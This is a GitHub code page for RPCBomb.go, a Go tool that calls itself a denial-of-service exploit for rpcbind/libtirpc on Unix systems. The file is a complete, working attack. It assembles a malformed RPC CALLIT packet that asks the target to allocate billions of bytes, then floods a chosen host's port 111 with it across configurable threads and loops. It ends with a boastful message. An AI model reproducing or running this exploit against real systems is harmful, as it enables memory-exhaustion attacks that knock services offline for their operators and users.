-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathRPCBomb.go
More file actions
164 lines (131 loc) · 6.17 KB
/
RPCBomb.go
File metadata and controls
164 lines (131 loc) · 6.17 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
package main
import (
"bytes"
"encoding/binary"
"flag"
"fmt"
"net"
"os"
"strconv"
"time"
)
// Simple Error Checking function
func CheckError(err error) {
if err != nil {
fmt.Println("Error: ", err)
os.Exit(0)
}
}
// UPD Connection Handler
func handleUDPConnection(conn *net.UDPConn, payload *bytes.Buffer, threadid int) (int, []byte, *net.UDPAddr, error) {
_, err := conn.Write(payload.Bytes()) // Send UDP packet to Server
CheckError(err) // Check for errors from sending the packet
recievebuf := make([]byte, 1024) // Receive Buffer
n, addr, err := conn.ReadFromUDP(recievebuf) // wait for response (Or Timeout)
conn.Close() // Close connection
if err != nil {
fmt.Println("\nNo response from server received. Thread ID:", threadid)
}
return n, recievebuf, addr, err
}
// Thread Handler
func WorkerThread(id int, numLoops int64, buf *bytes.Buffer, localhost *net.UDPAddr, remotehost *net.UDPAddr, tout int, result chan int) {
timeoutCount := 0 // Track No response from target
fmt.Printf("Payload Thread %[2]x: %[1]x\n", buf.Bytes(), id)
for i := 1; int64(i) <= numLoops; i++ {
conn, err := net.DialUDP("udp", localhost, remotehost) // setup the connection
CheckError(err) // Check the error
timeOut := time.Now().Local().Add(time.Second * time.Duration(tout)) // Set Read timeout (10 Secs) variable
conn.SetReadDeadline(timeOut) // Set the actual Timeout
n, bufR, addr, err := handleUDPConnection(conn, buf, id)
if err != nil {
timeoutCount++
}
if int64(i) == numLoops {
fmt.Println("\n\nThread:", id, "Report. Status: Success")
fmt.Printf("Received Messgae: %x", bufR[0:n])
fmt.Println(" from ", addr)
fmt.Println("Total Timeouts:", timeoutCount, "\n")
}
result <- 1
}
close(result)
}
func main() {
startTime := time.Now() // Store start time
bomb := `
+ # ,
: @ @ @ @ @ @
@ @ ; . + @ @ @ . @ @
@ @ @ @ @ @ @
. @ #
; @ @ @ . : @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ ;
@ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ :
# @ @ @ @ @ @ @ @ @ @ @ @ @ '
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @
. @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ .
+ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ +
+ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ +
: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ :
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ ,
@ @ @ @ @ @ @ @ @ @ @ @ @
, @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @
, @ @ @ @ @
r p c b o m b
DoS exploit for *nix rpcbind/libtirpc.
Based on the work from Guido Vranken.
https://guidovranken.wordpress.com/
(c) 2017 Joshua Magady.
`
fmt.Println(bomb)
ptrHost := flag.String("host", "REQUIRED", "This is the target host of the attack (IP Address)") // Create Host Flag
ptrNumBytes := flag.Int("numbytes", 5999999999, "This the number of bytes to try an allocate") // create numBytes Flag
ptrPort := flag.Int("port", 111, "This is the port RPC Bind is running on") // create Port Flag
ptrLoop := flag.Int64("loop", 1, "The number of times to loop (max=9223372036854775807)") // Create Loop Flag
ptrThreads := flag.Int("threads", 1, "The number of threads (Workers) to launch the attack") // Create threads Flag
flag.Parse() // Parse all Flags
fmt.Println("Target Host:", *ptrHost) // Print Host flag
fmt.Println("Number of Bytes to allocate (per loop):", *ptrNumBytes) // Print the number of bytes
fmt.Println("Target Port:", *ptrPort) // Print the Port Number
buf := new(bytes.Buffer) // Binary Writer Buffer
byteOrder := binary.BigEndian // Set the Byte Order
// RPC Byte Code
binary.Write(buf, byteOrder, uint32(0)) // xid
binary.Write(buf, byteOrder, uint32(0)) // Message Type: CALL (0)
binary.Write(buf, byteOrder, uint32(2)) // RPC Version: 2
binary.Write(buf, byteOrder, uint32(100000)) // Program: Portmap (100000)
binary.Write(buf, byteOrder, uint32(4)) // Program Version: 4 (old Value: 2)
binary.Write(buf, byteOrder, uint32(9)) // Procedure: CALLIT (9) (old Value 5)
binary.Write(buf, byteOrder, uint32(0)) // Credentials Flavor: AUTH_NULL (0)
binary.Write(buf, byteOrder, uint32(0)) // Length: 0
binary.Write(buf, byteOrder, uint32(0)) // Credentials Verifier: AUTH_NULL (0)
binary.Write(buf, byteOrder, uint32(0)) // Length: 0
binary.Write(buf, byteOrder, uint32(0)) // Program: Unknown (0)
binary.Write(buf, byteOrder, uint32(0)) // Version: 0 (old Value 1)
binary.Write(buf, byteOrder, uint32(4)) // Procedure: 4 (old Value 1)
binary.Write(buf, byteOrder, uint32(4)) // Argument Length
binary.Write(buf, byteOrder, uint32(*ptrNumBytes)) // Argument (Payload)
fmt.Printf("Payload: %x\n", buf.Bytes()) // Show Payload that will be sent
serverAddr, err := net.ResolveUDPAddr("udp", *ptrHost+":"+strconv.Itoa(*ptrPort)) // Resolves the Attack Target
CheckError(err) // Check the error
localAddr, err := net.ResolveUDPAddr("udp", ":0") // Resolves localhost
CheckError(err) // Check the error
loopCount := *ptrLoop / int64(*ptrThreads)
fmt.Println("Loop Count per Thread:", loopCount)
status := make(chan int)
for i := 0; i < *ptrThreads; i++ {
go WorkerThread(i, int64(loopCount), buf, localAddr, serverAddr, 10, status)
}
currentloop := 0
for loopfin := range status {
currentloop += loopfin
now := time.Now() // Capture the time at this point
elapse := now.Sub(startTime) // calculate the time difference between now and when the program started
fmt.Printf("\r Loop %[1]d/%[2]d - Elapsed Time: %[3]v", currentloop, *ptrLoop, elapse)
}
fmt.Println("\n\nDamn it feels good to be a gangster.")
}